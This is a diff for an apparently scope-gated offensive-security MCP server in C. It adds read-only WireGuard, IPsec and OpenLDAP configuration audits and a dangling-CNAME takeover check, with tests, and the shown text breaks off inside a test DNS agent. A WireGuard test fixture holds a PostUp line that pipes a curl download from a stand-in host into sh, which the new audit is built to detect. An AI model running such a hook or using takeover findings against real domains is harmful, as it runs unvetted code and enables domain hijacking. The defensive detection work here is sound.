diff --git a/CHANGELOG.md b/CHANGELOG.md index b54df31..425009b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,7 +8,25 @@ fields, and state from an older version is read by a newer one. There are no git tags. The hash next to a version is the commit that introduced it; the current entry is the commit that adds this section. -## 1.39.0 — 2026-11-21 — this change +## 1.40.0 — 2026-11-22 — this change + +- **WireGuard** (`wireguard_config_audit`): every `/etc/wireguard/*.conf`: a + private key file readable beyond its owner, `AllowedIPs` of `0.0.0.0/0` or + `::/0`, a missing `ListenPort` and `PostUp` hooks that pipe a `curl`/`wget` + download into a shell. +- **IPsec** (`ipsec_config_audit`): `ipsec.conf` and `ipsec.secrets`: a subnet + of `0.0.0.0/0`, `authby=secret`, a missing `leftid` and secret files + readable beyond their owner. +- **OpenLDAP** (`openldap_config_audit`): `slapd.conf` (Debian, OpenLDAP and + `/usr/local` paths): a cleartext `rootpw`, `allow bind_anon` and an + `access to *` rule that grants read to everyone. +- **Dangling CNAME** (`dns_dangling_cname`): follows a CNAME chain of up to + eight hops, resolves the final target over A and AAAA, and reports a chain + that ends in NXDOMAIN: the target is free to register and can be taken over. +- Tests with vulnerable and hardened WireGuard/IPsec/slapd trees and a DNS + agent that answers CNAME chains and NXDOMAIN. 932 checks. Coverage 82.3%. + +## 1.39.0 — 2026-11-21 — e8f5cbf - **Kubernetes** (`kubernetes_api_probe`): GET `/version`, `/api`, `/apis` and `/healthz` without a token; a 2xx answer is unauthenticated access, audited, diff --git a/README.md b/README.md index 2774131..57e9104 100644 --- a/README.md +++ b/README.md @@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we testing behind a scope gate that refuses everything until a rules-of-engagement file says otherwise. -**195 tools · 918 end-to-end checks · 340 fuzz cases · 82.2% line coverage · ~746 KiB** +**199 tools · 932 end-to-end checks · 340 fuzz cases · 82.3% line coverage · ~759 KiB** ``` $ ./apex-twin --check -{"version":"1.39.0","tools":195,...,"scope":{"loaded":true,...}} +{"version":"1.40.0","tools":199,...,"scope":{"loaded":true,...}} ``` APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope @@ -149,7 +149,7 @@ closes a request whose head or body does not arrive within --- -## Tools (195) +## Tools (199) ### Scope and bookkeeping @@ -304,6 +304,7 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack. | `tls_client_auth_probe` | `s_client -msg`: CertificateRequest means mutual TLS required | | `kubernetes_api_probe` | Unauthenticated `/version`, `/api`, `/apis`, `/healthz`; 2xx is open access | | `dns_ns_consistency` | Parent vs authoritative NS sets; reports names missing on either side | +| `dns_dangling_cname` | Follows a CNAME chain; NXDOMAIN at the end means a takeover target | | `imap_probe` | Banner, CAPABILITY list, STARTTLS and LOGINDISABLED; no LOGIN | | `pop3_probe` | Banner, CAPA list, STLS flag; no USER/PASS | | `sip_probe` | One UDP OPTIONS: status line, Server header, Allow methods | @@ -392,6 +393,9 @@ command in the allowlist: a receiver is a scanner, a transmitter is an attack. | `zookeeper_audit` | zoo.cfg: open 4lw whitelist, clientPortAddress all, missing authProvider | | `grafana_audit` | grafana.ini: anonymous access, default admin password, plain HTTP, default secret | | `prometheus_audit` | prometheus.yml/web.yml: no basic auth, no external labels, HTTP targets | +| `wireguard_config_audit` | wg conf: readable private key, 0.0.0.0/0 route, no ListenPort, curl pipe hooks | +| `ipsec_config_audit` | ipsec.conf/secrets: 0.0.0.0/0 subnet, PSK auth, no leftid, readable secrets | +| `openldap_config_audit` | slapd.conf: cleartext rootpw, anonymous bind, default read access | ### ESP32 @@ -657,6 +661,8 @@ The full threat model, trust boundaries and a hardening checklist are in | grafana/prometheus | config reads only; optional root prefix | | Kubernetes API | four unauthenticated GETs | | NS consistency | up to three dig queries | +| wireguard/ipsec/openldap | config reads only; optional root prefix | +| dangling CNAME | up to eight dig queries, no data sent | | USB audit | 200 devices, sysfs reads only | --- @@ -668,7 +674,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus ```sh make # apex-twin -make test # version check + gate audit + 918 end-to-end checks +make test # version check + gate audit + 932 end-to-end checks make version-check # the five places that carry a version must agree make gate-audit # static: every target-taking tool calls the gate make asan # apex-twin-asan with ASan + UBSan @@ -787,7 +793,8 @@ src/tools_red.c vuln_check, subdomain_enum, cred_test, vhost_discovery, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, - kubernetes_api_probe, dns_ns_consistency + kubernetes_api_probe, dns_ns_consistency, + dns_dangling_cname src/tools_blue.c hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, net_baseline, @@ -830,7 +837,7 @@ examples/ scope.json ## Status -1.39.0. Built and run: 195 tools, 918 checks, 340 fuzz cases and 82.2% line +1.40.0. Built and run: 199 tools, 932 checks, 340 fuzz cases and 82.3% line coverage. The loop closes: a probe captures the exchange as a pair, a finding points at it, `finding_update` gives it a state, an asset records the host it came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a diff --git a/SECURITY.md b/SECURITY.md index 67ca264..4b1f87d 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -9,7 +9,7 @@ problem. The supported line is the one printed by `apex-twin --version` for the tree you built; this document ships with that same tree. At the time of writing the line -is **1.39.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current +is **1.40.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current line. The 1.0 line promises that the on-disk JSON formats for findings, assets and traffic only gain fields, so state stays readable; older builds are still rebuilt rather than patched in place. @@ -66,6 +66,9 @@ only narrow what the proxy does (the scope gate still runs first). - **Firmware writing needs an explicit confirmation.** `esp_flash` refuses without `confirm=true`, validates an absolute image path and audits the attempt; it exists to provision the operator's own board. +- **WireGuard, IPsec and OpenLDAP audits read local configuration.** They + never touch a tunnel, a key exchange or a directory. The dangling-CNAME check + follows a chain with `dig`. - **Kubernetes and NS checks are unauthenticated reads.** `kubernetes_api_probe` sends four GETs without a token; `dns_ns_consistency` queries NS/A records. Grafana and Prometheus audits read configuration files. diff --git a/docs/apex-twin.1 b/docs/apex-twin.1 index a85059c..ca1390f 100644 --- a/docs/apex-twin.1 +++ b/docs/apex-twin.1 @@ -1,5 +1,5 @@ .\" apex-twin.1 - manual page for APEX TWIN -.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.39.0" "User Commands" +.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.40.0" "User Commands" .SH NAME apex-twin \- scope\-gated offensive\-security MCP server .SH SYNOPSIS @@ -44,7 +44,7 @@ xxe_probe, ldap_probe, rdp_probe, smb_probe, vnc_probe, mqtt_probe, graphql_probe, docker_api_probe, elasticsearch_probe, imap_probe, pop3_probe, sip_probe, telnet_probe, http_methods, websocket_probe, ike_probe, snmp_walk, ldap_search, openapi_discovery, csrf_audit, rpc_probe, ntp_probe, dnssec_check, smtp_starttls_probe, tls_ocsp_probe, alpn_probe, webdav_probe, dns_wildcard_check, dns_caa_check, sni_vhost_check, tls_client_auth_probe, kubernetes_api_probe, -dns_ns_consistency), +dns_ns_consistency, dns_dangling_cname), defensive audits (hardening_audit, log_audit, ioc_scan, web_log_audit, detect_rules, integrity_baseline, mitre_map, process_snapshot, persistence_audit, @@ -61,7 +61,8 @@ cups_audit, rsync_audit, dhcpd_audit, krb5_conf_audit, mongodb_config_audit, memcached_config_audit, ntpd_config_audit, bind9_config_audit, tomcat_audit, proftpd_audit, kubelet_config_audit, etcd_config_audit, rabbitmq_audit, consul_config_audit, vault_config_audit, -zookeeper_audit, grafana_audit, prometheus_audit) and ESP32 board tools (esp_info, esp_monitor, +zookeeper_audit, grafana_audit, prometheus_audit, wireguard_config_audit, +ipsec_config_audit, openldap_config_audit) and ESP32 board tools (esp_info, esp_monitor, esp_read_flash, esp_flash, esp_partition_table, esp_nvs_parse, firmware_scan, esp_app_info, esp_image_verify). .SH MODES diff --git a/src/apex.h b/src/apex.h index 2257299..e1a50ed 100644 --- a/src/apex.h +++ b/src/apex.h @@ -15,7 +15,7 @@ #include "mcp.h" -#define APEX_VERSION "1.39.0" +#define APEX_VERSION "1.40.0" #define APEX_MAX_OUT (1u << 20) #define APEX_PATH_MAX 512 #define APEX_PATH_FULL 1024 diff --git a/src/tools_blue.c b/src/tools_blue.c index 9981b96..bec9c87 100644 --- a/src/tools_blue.c +++ b/src/tools_blue.c @@ -11031,6 +11031,314 @@ static void t_prometheus_audit(mcp_conn *c, const mcp_json *args, void *user) mcp_buf_free(&findings); } +/* ------------------------------------------------------------ wireguard_audit */ + +/* Does any non-comment line contain both needles? */ +static int text_has_line(const char *text, const char *first, + const char *second) +{ + char *copy = strdup(text); + char *save = NULL; + char *line; + int found = 0; + + if (copy == NULL) + return 0; + line = strtok_r(copy, "\n", &save); + while (line != NULL) { + char *s = line; + + while (*s == ' ' || *s == '\t') + s++; + if (*s != '#' && strstr(s, first) != NULL && + strstr(s, second) != NULL) { + found = 1; + break; + } + line = strtok_r(NULL, "\n", &save); + } + free(copy); + return found; +} + +static void t_wireguard_config_audit(mcp_conn *c, const mcp_json *args, + void *user) +{ + const char *root = mcp_arg_string(args, "root"); + char dirpath[1024]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int files = 0; + DIR *d; + struct dirent *ent; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + snprintf(dirpath, sizeof(dirpath), "%s/etc/wireguard", root); + d = opendir(dirpath); + if (d == NULL) { + mcp_reply_error(c, "cannot read /etc/wireguard"); + return; + } + mcp_buf_init(&findings); + while ((ent = readdir(d)) != NULL) { + static char text[65536]; + char path[1200]; + char value[128]; + struct stat st; + size_t nl = strlen(ent->d_name); + int fetch; + int pipe; + + if (ent->d_name[0] == '.') + continue; + if (nl < 6 || strcmp(ent->d_name + nl - 5, ".conf") != 0) + continue; + snprintf(path, sizeof(path), "%.600s/%.160s", dirpath, + ent->d_name); + if (stat(path, &st) != 0 || !S_ISREG(st.st_mode)) + continue; + if (read_text(path, text, sizeof(text)) <= 0) + continue; + files++; + if ((st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "%s is writable by anyone", path); + count++; + } + if ((st.st_mode & 0044) != 0) { + add_finding(&findings, &first, "key-readable", + (st.st_mode & 0004) != 0 ? "high" : "medium", + "%s holds a private key but is readable " + "beyond its owner", path); + count++; + } + if (!conf_value(text, "ListenPort", value, sizeof(value))) { + add_finding(&findings, &first, "no-listen-port", "low", + "%s has no ListenPort", path); + count++; + } + if (text_has_line(text, "AllowedIPs", "0.0.0.0/0") || + text_has_line(text, "AllowedIPs", "::/0")) { + add_finding(&findings, &first, "default-route", "medium", + "%s routes every address into the tunnel", + path); + count++; + } + fetch = text_has_line(text, "PostUp", "curl") || + text_has_line(text, "PostUp", "wget"); + pipe = text_has_line(text, "PostUp", "| sh") || + text_has_line(text, "PostUp", "|sh") || + text_has_line(text, "PostUp", "| bash") || + text_has_line(text, "PostUp", "|bash"); + if (fetch && pipe) { + add_finding(&findings, &first, "shell-hook", "high", + "%s pipes a download into a shell", path); + count++; + } + } + closedir(d); + if (files == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "cannot read a WireGuard configuration"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"findings_count\":%d,\"findings\":[", + files, count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* --------------------------------------------------------------- ipsec_audit */ + +static void t_ipsec_config_audit(mcp_conn *c, const mcp_json *args, void *user) +{ + const char *root = mcp_arg_string(args, "root"); + static char conf[65536]; + static char secrets[65536]; + char path[1024]; + char value[128]; + struct stat st; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int files = 0; + int have_conf = 0; + int have_secrets = 0; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + value[0] = '\0'; + mcp_buf_init(&findings); + snprintf(path, sizeof(path), "%.400s/etc/ipsec.conf", root); + if (read_text(path, conf, sizeof(conf)) > 0) { + have_conf = 1; + files++; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "%s is writable by anyone", path); + count++; + } + if (text_has_line(conf, "leftsubnet", "0.0.0.0/0") || + text_has_line(conf, "rightsubnet", "0.0.0.0/0")) { + add_finding(&findings, &first, "broad-subnet", "high", + "a tunnel carries every IPv4 address"); + count++; + } + if (conf_value(conf, "authby", value, sizeof(value)) && + strcasecmp(value, "secret") == 0) { + add_finding(&findings, &first, "psk-auth", "medium", + "the tunnel authenticates with a shared " + "secret"); + count++; + } + if (strstr(conf, "conn ") != NULL && + !conf_value(conf, "leftid", value, sizeof(value))) { + add_finding(&findings, &first, "no-leftid", "low", + "no leftid identifies the local peer"); + count++; + } + } + snprintf(path, sizeof(path), "%.400s/etc/ipsec.secrets", root); + if (read_text(path, secrets, sizeof(secrets)) > 0) { + have_secrets = 1; + files++; + if (stat(path, &st) == 0 && (st.st_mode & 0044) != 0) { + add_finding(&findings, &first, "readable-secrets", + (st.st_mode & 0004) != 0 ? "high" : "medium", + "%s holds the tunnel credentials but is " + "readable beyond its owner", path); + count++; + } + } + if (!have_conf && !have_secrets) { + mcp_buf_free(&findings); + mcp_reply_error(c, "cannot read an IPsec configuration"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"ipsec_conf\":%s," + "\"ipsec_secrets\":%s,\"findings_count\":%d," + "\"findings\":[", + files, have_conf ? "true" : "false", + have_secrets ? "true" : "false", count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + +/* ------------------------------------------------------------- openldap_audit */ + +static void t_openldap_config_audit(mcp_conn *c, const mcp_json *args, + void *user) +{ + static const char *files[] = { "/etc/ldap/slapd.conf", + "/etc/openldap/slapd.conf", + "/usr/local/etc/openldap/slapd.conf", + NULL }; + const char *root = mcp_arg_string(args, "root"); + char path[1024]; + char value[256]; + mcp_buf b; + mcp_buf findings; + int first = 1; + int count = 0; + int files_read = 0; + int cleartext = 0; + int anon_bind = 0; + int default_read = 0; + int i; + + (void)user; + if (root == NULL) + root = ""; + if (strlen(root) > 400) { + mcp_reply_error(c, "root path too long"); + return; + } + mcp_buf_init(&findings); + for (i = 0; files[i] != NULL; i++) { + static char text[65536]; + struct stat st; + + snprintf(path, sizeof(path), "%.400s%s", root, files[i]); + if (read_text(path, text, sizeof(text)) <= 0) + continue; + files_read++; + if (stat(path, &st) == 0 && (st.st_mode & 0002) != 0) { + add_finding(&findings, &first, "world-writable", "high", + "%s is writable by anyone", path); + count++; + } + if (conf_value(text, "rootpw", value, sizeof(value)) && + value[0] != '\0' && value[0] != '{') { + cleartext = 1; + add_finding(&findings, &first, "cleartext-rootpw", + "high", + "the root password is stored in clear text"); + count++; + } + if (text_has_line(text, "allow", "bind_anon")) { + anon_bind = 1; + add_finding(&findings, &first, "anonymous-bind", "high", + "anonymous binds are allowed"); + count++; + } + if (text_has_line(text, "access to *", "by * read") || + text_has_line(text, "access to *", "by anonymous read")) { + default_read = 1; + add_finding(&findings, &first, "default-read", "medium", + "every entry is readable by default"); + count++; + } + } + if (files_read == 0) { + mcp_buf_free(&findings); + mcp_reply_error(c, "cannot read a slapd.conf"); + return; + } + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"root\":"); + apex_json_str(&b, root); + mcp_buf_printf(&b, ",\"files\":%d,\"cleartext_rootpw\":%s," + "\"anonymous_bind\":%s,\"default_read\":%s," + "\"findings_count\":%d,\"findings\":[", + files_read, cleartext ? "true" : "false", + anon_bind ? "true" : "false", + default_read ? "true" : "false", count); + if (findings.p != NULL) + mcp_buf_add(&b, findings.p, findings.len); + mcp_buf_puts(&b, "]}"); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); + mcp_buf_free(&findings); +} + const mcp_tool TOOLS_BLUE[] = { { "hardening_audit", "Read-only posture audit of the local host: sshd_config (root login, " @@ -11633,6 +11941,27 @@ const mcp_tool TOOLS_BLUE[] = { "{\"type\":\"object\",\"properties\":{" "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", t_prometheus_audit }, + { "wireguard_config_audit", + "Parse /etc/wireguard/*.conf (root prefix): a private key file readable " + "beyond its owner, AllowedIPs 0.0.0.0/0 or ::/0, a missing ListenPort " + "and PostUp hooks that pipe a download into a shell. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_wireguard_config_audit }, + { "ipsec_config_audit", + "Parse ipsec.conf and ipsec.secrets (root prefix): a subnet of " + "0.0.0.0/0, authby=secret, a missing leftid and secrets readable beyond " + "their owner. Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_ipsec_config_audit }, + { "openldap_config_audit", + "Parse slapd.conf (root prefix, Debian/OpenLDAP/local paths): a cleartext " + "rootpw, allow bind_anon and a default access rule that grants read. " + "Read-only.", + "{\"type\":\"object\",\"properties\":{" + "\"root\":{\"type\":\"string\",\"description\":\"prefix, default empty\"}}}", + t_openldap_config_audit }, }; const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]); diff --git a/src/tools_red.c b/src/tools_red.c index 5561712..7e47a34 100644 --- a/src/tools_red.c +++ b/src/tools_red.c @@ -5863,6 +5863,181 @@ static void t_dns_ns_consistency(mcp_conn *c, const mcp_json *args, mcp_buf_free(&b); } +/* -------------------------------------------------------- dns_dangling_cname */ + +static int dig_status(const char *resolver, int port, const char *name, + const char *type, char *status, size_t n) +{ + char portstr[16]; + char at_server[300]; + char *argv[12]; + int i = 0; + apex_proc p; + int rc = -1; + + snprintf(portstr, sizeof(portstr), "%d", port > 0 ? port : 53); + argv[i++] = "dig"; + argv[i++] = "+time=3"; + argv[i++] = "+tries=1"; + argv[i++] = "-p"; + argv[i++] = portstr; + if (resolver != NULL && *resolver != '\0') { + snprintf(at_server, sizeof(at_server), "@%.200s", resolver); + argv[i++] = at_server; + } + argv[i++] = (char *)name; + argv[i++] = (char *)type; + argv[i] = NULL; + status[0] = '\0'; + if (apex_run(argv, 15000, 32 * 1024, &p) != 0) + return -1; + if (p.out != NULL) { + const char *s = strstr(p.out, "status: "); + + if (s != NULL) { + size_t k = 0; + + s += 8; + while (s[k] != '\0' && s[k] != ',' && s[k] != ' ' && + k + 1 < n) { + status[k] = s[k]; + k++; + } + status[k] = '\0'; + rc = 0; + } + } + apex_proc_free(&p); + return rc; +} + +static void t_dns_dangling_cname(mcp_conn *c, const mcp_json *args, + void *user) +{ + const char *domain = mcp_arg_string(args, "domain"); + const char *resolver = mcp_arg_string(args, "resolver"); + int port = mcp_arg_int(args, "port", 0); + char reason[512]; + char current[256]; + char chain[9][256]; + char addrs[8][64]; + char status[32]; + int nchain = 1; + int naddrs = 0; + int dangling = 0; + int hop; + int i; + mcp_buf b; + int first = 1; + + (void)user; + if (domain == NULL || *domain == '\0') { + mcp_reply_error(c, "domain is required"); + return; + } + if (port < 0 || port > 65535) { + mcp_reply_error(c, "port out of range"); + return; + } + if (!apex_scope_check(domain, 0, reason, sizeof(reason))) { + mcp_buf_init(&b); + mcp_buf_printf(&b, "REFUSED by scope gate: %s", reason); + mcp_reply_error(c, b.p); + mcp_buf_free(&b); + return; + } + if (resolver != NULL && *resolver != '\0' && + !apex_scope_check(resolver, port, reason, sizeof(reason))) { + mcp_buf_init(&b); + mcp_buf_printf(&b, "resolver is outside the scope: %s", reason); + mcp_reply_error(c, b.p); + mcp_buf_free(&b); + return; + } + apex_audit("dns_dangling_cname", domain, 0, 1, "CNAME chain", "dig CNAME"); + snprintf(chain[0], 256, "%.200s", domain); + snprintf(current, sizeof(current), "%.200s", domain); + for (hop = 0; hop < 8; hop++) { + char tmp[4][128]; + char *out = ns_run(resolver, port, current, "CNAME"); + int n; + + if (out == NULL) + break; + n = ns_lines(out, tmp, 4); + free(out); + if (n == 0) + break; + snprintf(chain[nchain], 256, "%.200s", tmp[0]); + snprintf(current, sizeof(current), "%.200s", tmp[0]); + nchain++; + if (nchain == 9) + break; + } + { + char *out = ns_run(resolver, port, current, "A"); + + if (out != NULL) { + char tmp[8][128]; + int n = ns_lines(out, tmp, 8); + + for (i = 0; i < n && naddrs < 8; i++) + snprintf(addrs[naddrs++], 64, "%.60s", tmp[i]); + free(out); + } + } + if (naddrs == 0) { + char *out = ns_run(resolver, port, current, "AAAA"); + + if (out != NULL) { + char tmp[8][128]; + int n = ns_lines(out, tmp, 8); + + for (i = 0; i < n && naddrs < 8; i++) + snprintf(addrs[naddrs++], 64, "%.60s", tmp[i]); + free(out); + } + } + snprintf(status, sizeof(status), "NOERROR"); + if (naddrs == 0) + dig_status(resolver, port, current, "A", status, + sizeof(status)); + dangling = nchain > 1 && naddrs == 0 && + strcasecmp(status, "NXDOMAIN") == 0; + mcp_buf_init(&b); + mcp_buf_puts(&b, "{\"domain\":"); + apex_json_str(&b, domain); + mcp_buf_puts(&b, ",\"resolver\":"); + apex_json_str(&b, resolver != NULL ? resolver : ""); + mcp_buf_puts(&b, ",\"chain\":["); + for (i = 0; i < nchain; i++) { + if (!first) + mcp_buf_puts(&b, ","); + first = 0; + apex_json_str(&b, chain[i]); + } + mcp_buf_puts(&b, "],\"final_target\":"); + apex_json_str(&b, current); + mcp_buf_puts(&b, ",\"addresses\":["); + first = 1; + for (i = 0; i < naddrs; i++) { + if (!first) + mcp_buf_puts(&b, ","); + first = 0; + apex_json_str(&b, addrs[i]); + } + mcp_buf_puts(&b, "],\"final_status\":"); + apex_json_str(&b, status); + mcp_buf_printf(&b, ",\"dangling\":%s}", dangling ? "true" : "false"); + apex_audit("dns_dangling_cname", domain, 0, !dangling, + dangling ? "the CNAME chain ends in NXDOMAIN - a takeover " + "target" + : "the CNAME chain resolves or is absent", + current); + mcp_reply_json(c, b.p); + mcp_buf_free(&b); +} + const mcp_tool TOOLS_RED[] = { { "vuln_check", "Non-destructive verification of exposed artifacts on one web target: " @@ -6362,6 +6537,17 @@ const mcp_tool TOOLS_RED[] = { "\"port\":{\"type\":\"integer\",\"description\":\"dig -p, default 0\"}}," "\"required\":[\"domain\"]}", t_dns_ns_consistency }, + { "dns_dangling_cname", + "Follow the CNAME chain of a name with up to eight dig queries, resolve " + "the final target over A and AAAA, and report a chain that ends in " + "NXDOMAIN: the target is free to register and can be taken over. Gate: " + "the domain (and resolver).", + "{\"type\":\"object\",\"properties\":{" + "\"domain\":{\"type\":\"string\"}," + "\"resolver\":{\"type\":\"string\",\"description\":\"optional DNS server\"}," + "\"port\":{\"type\":\"integer\",\"description\":\"dig -p, default 0\"}}," + "\"required\":[\"domain\"]}", + t_dns_dangling_cname }, }; const size_t TOOLS_RED_N = sizeof(TOOLS_RED) / sizeof(TOOLS_RED[0]); diff --git a/tests/gate_audit.py b/tests/gate_audit.py index d874092..f956154 100755 --- a/tests/gate_audit.py +++ b/tests/gate_audit.py @@ -21,7 +21,7 @@ import re import sys HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) -EXPECTED_TOOLS = 195 +EXPECTED_TOOLS = 199 GATE = ("gated(", "gated_cmd(", "gated_run(", "apex_scope_check(") NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(") # Tools whose "target" argument filters local records; they never touch it. diff --git a/tests/run.py b/tests/run.py index 244c9e4..00cee55 100755 --- a/tests/run.py +++ b/tests/run.py @@ -134,7 +134,7 @@ res, _ = run([ ], home=empty) check("tools/list answers", any(r.get("id") == 1 for r in res)) tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"] -check("195 tools registered", len(tools) == 195, len(tools)) +check("199 tools registered", len(tools) == 199, len(tools)) names = {t["name"] for t in tools} for need in ("portscan", "nmap", "http_request", "marauder_scan", "method_playbook", "finding_add", "finding_update", "scope_check", @@ -1560,7 +1560,7 @@ try: check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin", init) listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"}) - check("http tools/list", len(listing["result"]["tools"]) == 195) + check("http tools/list", len(listing["result"]["tools"]) == 199) shown = post(call(3, "scope_show")) check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"]) # the id must be the request's id, not one found inside the arguments @@ -8866,7 +8866,230 @@ shutil.rmtree(pr_root, ignore_errors=True) shutil.rmtree(pr_good_root, ignore_errors=True) shutil.rmtree(cfg11_home, ignore_errors=True) +print("\n== WireGuard, IPsec, OpenLDAP and dangling CNAMEs ==\n") + +wg_root = tempfile.mkdtemp(prefix="apex-wg-") +os.makedirs(os.path.join(wg_root, "etc", "wireguard")) +wg_bad = os.path.join(wg_root, "etc", "wireguard", "wg0.conf") +with open(wg_bad, "w") as f: + f.write("[Interface]\n") + f.write("PrivateKey = aGVsbG8tcHJpdmF0ZS1rZXk=\n") + f.write("Address = 10.9.0.1/24\n") + f.write("AllowedIPs = 0.0.0.0/0\n") + f.write("PostUp = curl -fsSL http://example.test/hook.sh | sh\n") +os.chmod(wg_bad, 0o666) +wg_good_root = tempfile.mkdtemp(prefix="apex-wgg-") +os.makedirs(os.path.join(wg_good_root, "etc", "wireguard")) +wg_good = os.path.join(wg_good_root, "etc", "wireguard", "wg0.conf") +with open(wg_good, "w") as f: + f.write("[Interface]\n") + f.write("PrivateKey = aGVsbG8tcHJpdmF0ZS1rZXk=\n") + f.write("ListenPort = 51820\n") + f.write("Address = 10.9.0.1/24\n") + f.write("[Peer]\n") + f.write("PublicKey = cGVlci1wdWJsaWMta2V5\n") + f.write("AllowedIPs = 10.9.0.2/32\n") + f.write("PostUp = iptables -A FORWARD -i %i -j ACCEPT\n") +os.chmod(wg_good, 0o600) + +ip_root = tempfile.mkdtemp(prefix="apex-ip-") +os.makedirs(os.path.join(ip_root, "etc")) +ip_bad = os.path.join(ip_root, "etc", "ipsec.conf") +with open(ip_bad, "w") as f: + f.write("conn %default\n") + f.write(" keyexchange=ikev2\n") + f.write(" authby=secret\n") + f.write(" leftsubnet=0.0.0.0/0\n") + f.write(" rightsubnet=10.0.0.0/24\n") + f.write(" auto=add\n") +os.chmod(ip_bad, 0o666) +ip_sec_bad = os.path.join(ip_root, "etc", "ipsec.secrets") +with open(ip_sec_bad, "w") as f: + f.write(': PSK "s3cret"\n') +os.chmod(ip_sec_bad, 0o666) +ip_good_root = tempfile.mkdtemp(prefix="apex-ipg-") +os.makedirs(os.path.join(ip_good_root, "etc")) +with open(os.path.join(ip_good_root, "etc", "ipsec.conf"), "w") as f: + f.write("conn site\n") + f.write(" keyexchange=ikev2\n") + f.write(" authby=rsasig\n") + f.write(" leftid=@gw1.example.test\n") + f.write(" leftsubnet=10.9.0.0/24\n") + f.write(" rightsubnet=10.10.0.0/24\n") + f.write(" auto=start\n") +with open(os.path.join(ip_good_root, "etc", "ipsec.secrets"), "w") as f: + f.write(": RSA gw1.key\n") +os.chmod(os.path.join(ip_good_root, "etc", "ipsec.secrets"), 0o600) + +ldap_root = tempfile.mkdtemp(prefix="apex-ld-") +os.makedirs(os.path.join(ldap_root, "etc", "ldap")) +ldap_bad = os.path.join(ldap_root, "etc", "ldap", "slapd.conf") +with open(ldap_bad, "w") as f: + f.write("include /etc/ldap/schema/core.schema\n") + f.write("pidfile /var/run/slapd.pid\n") + f.write("rootpw secret123\n") + f.write("allow bind_anon\n") + f.write("access to * by * read\n") +os.chmod(ldap_bad, 0o666) +ldap_good_root = tempfile.mkdtemp(prefix="apex-ldg-") +os.makedirs(os.path.join(ldap_good_root, "etc", "ldap")) +with open(os.path.join(ldap_good_root, "etc", "ldap", "slapd.conf"), + "w") as f: + f.write("rootpw {SSHA}bm90LWEtcmVhbC1oYXNo\n") + f.write("access to attrs=userPassword by self write " + "by anonymous auth by * none\n") + f.write("access to * by users read\n") + + +def dns_cname_agent(): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(("127.0.0.1", 0)) + sock.settimeout(0.2) + port = sock.getsockname()[1] + stop = threading.Event() + records = { + ("dangling.test", 5): ("gone.dangling.test", True), + ("valid.test", 5): ("www.valid.test", True), + ("chain.test", 5): ("mid.chain.test", True), + ("mid.chain.test", 5): ("end.chain.test", True), + ("www.valid.test", 1): ("127.0.0.1", False), + ("end.chain.test", 1): ("127.0.0.1", False), + ("plain.test", 1): ("127.0.0.1", False), + } + + def loop(): + while not stop.is_set(): + try: + data, addr = sock.recvfrom(2048) + except socket.timeout: + continue + except OSError: + return + if len(data) < 12: + continue + tid = data[:2] + name, off = dns_name_decode(data, 12) + if off + 4 > len(data): + continue + qtype = struct.unpack(">H", data[off:off + 2])[0] + question = data[12:off + 4] + key = (name.lower(), qtype) + answers = [] + known = any(k[0] == name.lower() for k in records) + if key in records: + value, is_name = records[key] + rdata = (dns_name_encode(value) if is_name + else socket.inet_aton(value)) + answers.append(b"\xc0\x0c" + + struct.pack(">HHIH", qtype, 1, 300, + len(rdata)) + rdata) + rcode = 0 if known else 3 + resp = (tid + struct.pack(">HHHHH", 0x8400 | rcode, 1, + len(answers), 0, 0) + + question + 